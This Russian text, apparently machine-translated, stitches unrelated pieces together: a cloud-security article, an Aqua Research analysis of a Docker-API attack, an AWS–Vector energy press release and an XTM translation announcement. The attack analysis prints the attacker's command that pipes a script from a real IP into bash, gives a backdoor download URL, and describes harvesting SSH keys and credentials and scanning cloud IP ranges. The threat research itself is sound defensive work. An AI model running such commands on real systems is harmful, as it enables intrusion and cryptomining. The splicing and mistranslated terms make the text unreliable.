Взлом учетной записи или службы осуществляется после получения доступа к учетным данным пользователя. Для этого существуют различные методы — от ловли рыбы до шпионского ПО и отравления печеньем. После взлома облачной учетной записи злоумышленники могут получить личную информацию или корпоративные данные пользователя и поставить под угрозу службы облачных вычислений. Например, сотрудник Salesforce, поставщика SaaS, стал жертвой фишингового мошенничества, в результате которого в 2007 году были раскрыты все клиентские счета компании.

9. Постоянные расширенные угрозы (APT)

APT — это атаки, которые позволяют хакерам постоянно красть конфиденциальные данные, хранящиеся в облаке, или использовать облачные сервисы, не будучи замеченными законными пользователями. Продолжительность этих атак позволяет хакерам адаптироваться к мерам безопасности против них. После установления несанкционированного доступа хакеры могут перемещаться по сетям центров обработки данных и использовать сетевой трафик для своих злонамеренных действий.

10. Новые атаки: Spectre и Meltdown

Эти два типа кибератак появились в начале этого года и уже стали новой угрозой для облачных вычислений.С помощью вредоносного кода JavaScript злоумышленники могут считывать зашифрованные данные из памяти, используя слабые места в конструкции большинства современных процессоров. И Spectre, и Meltdown нарушают изоляцию между приложениями и операционной системой, позволяя злоумышленникам считывать информацию из ядра. Это настоящая головная боль для разработчиков облачных сред, поскольку не все пользователи облачных сред устанавливают последние исправления безопасности.

7 советов по обеспечению безопасности облачных решений

Динамический характер облачных сервисов ломает традиционную модель безопасности, используемую для локального программного обеспечения.Очевидно, что поставщик облачных услуг не может обеспечить полную безопасность в облаке. Часть ответственности также лежит на пользователях облака. В то время как лучший способ защитить пользовательские данные в облаке — это обеспечить многоуровневый подход к безопасности, поставщики облачных услуг должны внедрять лучшие отраслевые практики, чтобы обеспечить максимальный уровень облачной безопасности на своей стороне. Вот семь советов, как облачные разработчики могут обеспечить безопасность своих облачных решений.

1. Повышение политик безопасности

При предоставлении облачных услуг поставщики программного обеспечения должны ограничить сферу своей ответственности за защиту пользовательских данных и операций в облаке в своих политиках безопасности.Сообщите своим клиентам, что вы делаете для обеспечения безопасности в облаке, а также о том, какие меры безопасности им необходимо принять на своей стороне.

2. Используйте строгую аутентификацию

Кража паролей — наиболее распространенный способ доступа к данным и сервисам пользователей в облаке. Таким образом, разработчики облачных вычислений должны внедрить строгую аутентификацию и управление идентификацией. Установите многофакторную аутентификацию. Существуют различные инструменты, требующие как статических, так и динамических паролей. Последний подтверждает учетные данные пользователя, предоставляя одноразовый пароль на мобильном телефоне или используя биометрические схемы или аппаратные токены.

3. Внедрение управления доступом

Для повышения безопасности служб разработчики облачных сред должны разрешить пользователям облачных вычислений назначать разрешения на основе ролей различным администраторам, чтобы пользователи имели только назначенные им возможности. Более того, облачная оркестровка должна позволять привилегированным пользователям устанавливать объем разрешений других пользователей в соответствии с их обязанностями в компании.

Читайте также:
Мультиоблачные вычисления: плюсы и минусы для предприятий

4.Защита данных

Данные в облачной среде должны быть зашифрованы на всех этапах их передачи и хранения:

• в источнике (на стороне пользователя)
• в пути (при передаче от пользователя на облачный сервер)
• в состоянии покоя (при хранении в облачной базе данных)

Данные необходимо зашифровать еще до того, как они попадут в облако. Современные технологии шифрования и токенизации данных являются эффективной защитой от взлома аккаунта.Более того, важно доказать сквозное шифрование для защиты передаваемых данных от атак типа «злоумышленник в середине». Использование надежных алгоритмов шифрования, содержащих соль и хэши, может эффективно отражать кибератаки.

Данные, хранящиеся в облаке, также уязвимы для непреднамеренного повреждения, поэтому вы также можете обеспечить их восстановление, предоставив услугу резервного копирования данных.

5. Обнаружение вторжений

Предоставьте своему облачному решению полностью управляемую систему обнаружения вторжений, которая может обнаруживать и информировать о злонамеренном использовании облачных сервисов злоумышленниками.Используйте систему обнаружения вторжений, которая обеспечивает мониторинг сети и уведомляет о ненормальном поведении инсайдеров.

6. Безопасные API и доступ

Разработчики облачных сред должны быть уверены, что клиенты могут получить доступ к приложению только через безопасные API. Это может потребовать ограничения диапазона IP-адресов или предоставления доступа только через корпоративные сети или VPN. Однако этот подход может быть сложно реализовать для общедоступных приложений. Таким образом, вы можете реализовать защиту безопасности через API, используя специальные скрипты, шаблоны и рецепты.Вы даже можете пойти дальше и встроить защиту в свой API.

7. Защита облачных сервисов

Ограничение доступа к облачным сервисам необходимо для предотвращения получения злоумышленниками несанкционированного доступа к операциям и данным пользователя через слабые места в облачных сервисах. При разработке архитектуры облачной службы минимизируйте разрешения обработчика событий до тех, которые необходимы для выполнения определенных операций. Более того, вы можете ограничить принятие решений о безопасности только теми облачными сервисами, которым пользователи доверяют управление безопасностью своих данных.

Заключение

Технология облачных вычислений чрезвычайно популярна среди пользователей благодаря своим многочисленным преимуществам. Однако эта технология также создает уязвимости, которые могут стать новыми векторами кибератак. Понимая, как киберпреступники проводят атаки на облачные вычисления, разработчики облачных вычислений могут лучше защищать свои продукты. Обладая опытом в облачной инженерии, виртуализации и кибербезопасности, Apriorit может помочь вам повысить безопасность вашего облачного решения.

Вектор атаки использует контейнеры для методического нацеливания на облачные ресурсы

Команда Aqua Research определила новый вектор атаки, который указывает на эволюцию методов и возможностей атак. В этих атаках злоумышленники используют контейнеры в качестве точки входа для обнаружения и распространения на другие ресурсы, используемые в облачных учетных записях. Злоумышленники развернули чистый контейнер Ubuntu, смонтировали файловую систему хоста, которая позволила им выполнять код на хосте, а затем загрузили двоичный файл криптомайнинга, украли данные и просканировали диапазоны IP-адресов различных облачных провайдеров.

Эта атака отличается от предыдущих, которые мы исследовали, из-за вредоносного ПО, развернутого злоумышленниками, использования ими прокси-сервера socks, применяемых ими методов уклонения и действий, которые они предприняли для сканирования и распространения на экземпляры, работающие в облаке.

Анатомия эволюционированного вектора атаки

Прежде чем начать атаку, злоумышленники идентифицировали хосты с публичным портом API Docker Engine, а затем выполнили следующую команду:

chroot / mnt / bin / sh -c curl -sL4 http: // 205.185.113.35 / файлы / alduro | баш;

Команда связывает файловую систему хоста с контейнером и выполняет полезную нагрузку — сценарий bash с именем alduro .

При доставке основной нагрузки атаки дополнительные файлы были загружены с многочисленных общедоступных веб-сайтов для обмена файлами и выполнены.

Злоумышленники загрузили упакованный двоичный файл, который использовался злоумышленниками в качестве бэкдора. Файл был загружен с http [:] // 205.185.113.35/files/lifxvf. VirusTotal определяет этот файл как вредоносный:

Следует обратить внимание на несколько важных факторов:

• Исследование файла с помощью IDA обнаруживает сходство с поведением, описанным в нескольких сообщениях блога, например:
  — Игра в PING-PONG с C&C сервером
  — Имя процесса было изменено с помощью syscall prctl (PR_SET_NAME), чтобы оно выглядело законным .Выдуманное имя — «/ usr / sbin / dropbear», которое на самом деле является SSH-сервером и клиентским программным обеспечением.
• Сообщения в блоге, которые мы видели, были опубликованы еще в 2014 году. Похоже, что злоумышленники не создавали вредоносное ПО с нуля и использовали шаблон, который они модифицировали с добавлением дополнительных возможностей.
• Во время атаки C&C сервер не работал.

Зараженный хост подключился через сокет к C&C на порту 81. После того, как соединение было установлено, целевой хост ожидал дальнейших команд от C&C сервера.

Ниже приведены команды и возможности, которые мы определили:

Взгляните на различные возможные команды, которые двоичный файл может обрабатывать

Следующее видео демонстрирует части цепочки атаки, в том числе:

• Развертывание контейнера с Docker Engine API
• Скачивание и выполнение вредоносного файла
• Загрузка файла криптомайнинга и файла конфигурации
• Написание cronjobs как техники настойчивости Sesa.txt периодически запускает и отключает приложения и механизмы безопасности, обнаруженные облаком и скомпрометированные атакой
• Устранение угроз и механизмы безопасности

Файл конфигурации криптомайнера

Применение техник уклонения

Здесь мы можем увидеть эволюцию атак, так как мы замечаем несколько приемов уклонения, которые не использовались в ранних атаках. Одним из них является использование прокси-сервера socks, который использовался в качестве метода туннелирования между злоумышленником и внутренней сетью хоста.

Этот метод туннелирования позволяет злоумышленникам делать следующее:

• Доступ к приложениям, базам данных и веб-сайтам организации, которые заблокированы извне
• Маскировать входящий и исходящий трафик в сети, чтобы он выглядел законным при запросе и выполнении действий на других узлах в сети.

Одна из использованных техник уклонения заключалась в попытке удалить каталог / usr / sandfly-filescan, который представляет собой утилиту, сканирующую энтропию файлов.

Энтропия в файлах — это мера случайности данных файлов. Сжатые или зашифрованные файлы обычно имеют более высокие значения энтропии. Все двоичные исполняемые файлы, загружаемые в этой цепочке атак, упакованы «упаковщиком UPX», что означает, что они имеют высокую энтропию.

Открытие и боковое движение

Этот этап атаки подтверждает наши утверждения о том, что новое поколение атак, таких как та, которую мы обсуждаем, нацелено не только на один хост, но и пытается продолжить и распространиться внутри сети цели.

Для распространения внутри сети были загружены и запущены дополнительные пакеты и двоичные файлы в следующем порядке:

1 — Исполняемый файл для захвата баннеров с открытым исходным кодом, который извлекает как можно больше информации о сети, выявляет слабые места и распространяется по сети. Исполняемый файл сканировал сеть, выполнял поиск DNS и генерировал отчеты о моделировании устройств и оценке уязвимостей.

2 — Исполняемый файл установил следующие пакеты:

• Masscan — сканер IP-адресов.
• Jq — пакет для обработки структурированных данных.
• Экран — пакет, используемый для выполнения задач в фоновом режиме.

Были загружены текстовые файлы, содержащие диапазоны IP-адресов поставщиков общедоступного облака, таких как Amazon AWS, Google Cloud Platform и Microsoft Azure. Затем утилита Masscan сканирует эти диапазоны IP-адресов, чтобы проверить, может ли текущий хост получить доступ к неправильно настроенным машинам на других публичных облачных платформах. В случае успеха код запускался в открытом сокете API движка Docker, чтобы распространить атаку на как можно больше хостов.

3 — Злоумышленники собрали IP-адреса, ключи SSH, имена хостов и данные учетных записей пользователей из различных файлов, таких как «bash_history» и «.ssh / config». Затем злоумышленники попытались подключиться и продолжить атаку, используя информацию, собранную путем попытки распространения по SSH с собранными учетными данными.

На этом этапе образ крипто-майнинга работает на хосте, и теперь злоумышленники могут вручную подключиться к хосту и получить дополнительную информацию и учетные данные.

В итоге

Как мы видим из нашего анализа, эта атака является примером эволюции и зрелости, до которой могут дойти атаки. Сканирование и проникновение вглубь сети, вплоть до учетных записей общедоступного облака, что подвергает организацию большему риску.

Чтобы показать, насколько близко эта атака следует матрице атаки MITER, мы суммировали компоненты атаки в следующей таблице, сопоставив каждый компонент атаки с соответствующей матрицей MITER:

Vector и AWS объединяют усилия, чтобы ускорить будущее энергетики

Примечание. Этот блог основан на сообщении Vector / AWS от 27 июля 2020 г. в СМИ

Сегодня Amazon Web Services (AWS), Amazon.com, объявила о многолетнем стратегическом альянсе с Vector, одной из крупнейших энергетических компаний Новой Зеландии, для совместной разработки Новой энергетической платформы (NEP).

На основе AWS, NEP представляет собой решение для Интернета вещей (IoT) и аналитики для энергетической отрасли, которое сначала будет внедрено в Австралии и Новой Зеландии, где имеется около 70 розничных продавцов энергии и более 40 распределительных сетей. предоставлять потребителям более доступные, надежные и экологически чистые источники энергии.В рамках этого стратегического альянса Vector и AWS будут использовать широту и глубину сервисов AWS, включая IoT, аналитику, машинное обучение (ML) и инфраструктурные сервисы, используя знания Vector в энергетической отрасли, а также совместные инженерные возможности обеих организаций.

Рост использования возобновляемых источников энергии, рост количества электромобилей и более высокие ожидания потребителей в отношении более низких цен и устойчивых источников энергии требуют от энергетической отрасли преобразования и использования возможностей данных для принятия более разумных решений, ориентированных на клиента.Первоначальная цель NEP заключается в быстром сборе и анализе данных с более чем 1,6 миллиона подключенных к Интернету вещей современных счетчиков Vector, которые надежно собирают информацию о потреблении энергии и производительности сети в Австралии и Новой Зеландии. Инсайты, собранные NEP, помогут Vector дать возможность энергетическим и коммунальным компаниям разрабатывать индивидуальные продукты и ценовые решения для своих клиентов, исходя из их привычек энергопотребления. NEP будет использовать AWS IoT Analytics, полностью управляемый сервис, который позволяет легко запускать и применять сложную аналитику для огромных объемов данных, чтобы предоставить Vector и другим энергетическим и коммунальным компаниям информацию о производительности сети, чтобы помочь спланировать энергетические сети и повысить эффективность их работы. инвестиционные решения и повышение надежности для потребителей.За счет увеличения емкости и скорости сбора данных NEP разработан, чтобы помочь Vector обеспечить расширенную обработку счетчиков с 30-минутным до пятиминутных интервалов в Австралии к 2021 году. Это разработано в соответствии с требованиями отраслевого правила пятиминутного урегулирования. преобразование, введенное австралийским оператором энергетического рынка, предназначено для согласования ценовых сигналов с использованием в реальном времени и приводит к более эффективным торгам, оперативным решениям и инвестициям.

В будущем идеи NEP позволят энергетическим и коммунальным компаниям разрабатывать инновационные решения и новые рыночные модели, которые ускорят внедрение возобновляемых источников энергии и электромобилей.Например, способность NEP быстро обрабатывать и анализировать огромные объемы поступающих данных означает, что более точная и своевременная информация может быть предоставлена ​​на энергетический рынок. Это должно привести к созданию точных и динамических моделей ценообразования для энергетических и коммунальных компаний, которые будут стимулировать использование энергии, которая производится на местном уровне, например, солнечные панели и микросети, или накапливается самими потребителями с помощью батарей.

Этот стратегический альянс для совместной разработки NEP является первым в своем роде для AWS в Новой Зеландии и для AWS в мировом секторе энергетики и коммунальных услуг.С акцентом на декарбонизацию во всем мире и электрификацию транспорта, это критически важное событие для сектора, позволяющее клиентам, использующим новые технологии, беспрепятственно и экономически эффективно интегрироваться в существующие коммунальные системы. В рамках этого альянса Vector и AWS планируют нанять более 30 сотрудников на высококвалифицированных технических и инженерных должностях в Новой Зеландии, чтобы помочь в разработке NEP и связанных приложений.

«Потребители требуют более чистой, надежной и доступной энергии, и благодаря нашему альянсу с AWS мы предпринимаем важные шаги для преобразования работы энергетической отрасли», — сказал Саймон Маккензи, генеральный директор группы Vector.«Несмотря на то, что в энергетической отрасли были достигнуты технологические достижения, она была очень мало близка к потребителю, и именно в этом мы видим свою роль. Сотрудничая с AWS, мы стремимся к тому, чтобы NEP преобразовал энергетическую отрасль, используя данные для инноваций и разработки продуктов. NEP может вытеснить унаследованные системы, создавая ступенчатое изменение вычислительной мощности, гибкости и точности, удовлетворяя быстро меняющиеся требования измерительных и информационных систем. Это первое в отрасли предприятие в Новой Зеландии — еще один шаг к нашему давно заявленному стремлению к партнерству с организациями-единомышленниками в интересах наших потребителей энергии и коммунальных услуг, а в конечном итоге и потребителей.”

«Мы рассматриваем Новую Зеландию как центр инноваций, и нам очень интересно работать с Vector, лидером в области интеллектуальных энергетических решений, чтобы стать пионером НЭП и реализовать наше общее видение для обеспечения более устойчивого будущего энергетики», — сказал Ник Уолтон. , Управляющий директор коммерческого сектора AWS в Новой Зеландии. «Этот стратегический альянс окажет глубокое влияние на энергетический сектор, поскольку Vector и AWS работают вместе, чтобы использовать передовой Интернет вещей, аналитику, машинное обучение и вычислительные услуги для масштабной оцифровки миллионов сетевых активов.Мы гордимся тем, что работаем с Vector, чтобы поддержать экономику Новой Зеландии, создав 30 новых высококвалифицированных рабочих мест и предоставив возможность энергетическим и коммунальным компаниям использовать данные, собранные NEP, для предоставления решений, которые помогут потребителям адаптировать свое потребление энергии. уменьшить свой углеродный след и сэкономить деньги ».

Посетите AWS Power & Utilities и Vector для получения дополнительной информации.

XTM International представляет межъязыковое векторное пространство

Новый прорыв в технологии искусственного интеллекта L10N

XTM International рада объявить о межъязыковом векторном пространстве, передовой технологии на основе нейронных сетей, которая заложит прочную основу для XTM AI стратегия XTM Cloud.Это, возможно, самый большой прогресс в языковых технологиях со времен нейронного машинного перевода (NMT): уникальный математический алгоритмический подход к развитию языковых технологий, основанный на массивных нейронных сетях. Он указывает приблизительную близость между отдельными исходными и целевыми словами в сегменте. Межъязыковое векторное пространство используется для повышения продуктивности переводчиков, рецензентов и редакторов.

«Межъязыковое векторное пространство — это уникальное усовершенствование в L10N AI, наравне с Neural MT.Это почти «волшебное» действие, позволяющее осуществлять прямое согласование на уровне слова и фразы для перевода данного сегмента. Он основан на обширной работе Google и Facebook, при этом XTM вносит ключевые элементы из L10N, многоязычной точки зрения, », — пояснил Анджей Зидронь, технический директор XTM International.

Межъязыковое векторное пространство опирается на огромные ресурсы больших данных, включая сканирование всего Интернета и массивных двуязычных словарей XTM, чтобы вычислить вероятность того, что данное слово целевого языка будет правильным переводом исходного слова для более чем 250 языковых пар.Цель этой технологии на основе искусственного интеллекта — помочь лингвистам решать простые, менее важные задачи, предлагая автоматизацию на основе алгоритмов для повышения их продуктивности и удобства работы пользователей. Ручная передача встроенных элементов в целевые сегменты или извлечение двуязычных терминов требует чрезмерного количества времени и усилий, что отрицательно сказывается на производительности и творчестве заинтересованных сторон. Автоматически встроенные элементы и автоматическое двуязычное извлечение терминов, поддерживаемые межъязыковым векторным пространством на основе ИИ, помогают избавиться от обыденного из процессов перевода.Это, в свою очередь, приводит к сокращению времени выполнения работ, значительному снижению затрат и заметному повышению качества.

Поиск эквивалентов слов и фраз на исходном языке при отсутствии словарей или существующих переводов — трудоемкая и трудоемкая деятельность. Межъязыковое векторное пространство основано на обширном нейросетевом анализе всего Интернета, охватывающего более 150 языков. Согласно этому новому подходу, язык представлен как набор отношений между словами и точками векторного пространства от одного слова к другому, что приводит к простым ответам на операции, такие как «король» для «мужчины», «женщина» для « Королева’.Межъязыковое векторное пространство может автоматически определять отношения между словами и то, как они соотносятся друг с другом. Он знает, что «король» относится к «мужчине» и, следовательно, может также обеспечивать эквивалент «королевы» для «женщины». Уникальность межъязыкового векторного пространства заключается в том, что это можно делать на разных языках:

«王» (король на японском языке) означает «мужчина», а «женщина» означает «女王» (королева на японском языке)

Это выдающийся прорыв в искусственном интеллекте НЛП.

Для более подробного объяснения этого процесса посмотрите серию XTM TechTalk с нашими экспертами в области ИИ — Анджеем Зидроном (технический директор) и доктором Дж.Рафал Яворский (эксперт по лингвистическому искусственному интеллекту).

Межъязыковое векторное пространство XTM лежит в основе стратегии XTM International по внедрению усовершенствований языковых технологий на основе AI NLP. Помимо автоматического встраивания и автоматического двуязычного извлечения терминов, выпущенных в XTM Cloud v12.3 и v12.4 соответственно, будущие выпуски на основе AI в 2020/21 будут включать автозаполнение, автоматическое сопоставление подсегментов и автоматическую нечеткую коррекцию. .

Если вы хотите узнать больше о технологии Vector Space и о том, как с ее помощью можно повысить гибкость локализации, свяжитесь с info @ xtm.облако.

О XTM International

XTM International разрабатывает XTM, ведущее в мире облачное решение для управления переводом (TMS) со встроенными инструментами автоматизированного перевода (CAT) и компьютерного обзора (CAR). Он разработан, чтобы быть масштабируемым, гибким и динамичным, в основе которого лежат открытые отраслевые стандарты.

Ориентируясь на оптимизацию сложных процессов локализации и цепочек поставок, XTM централизует ресурсы TM для совместной работы в реальном времени, максимально увеличивая повторное использование переводов.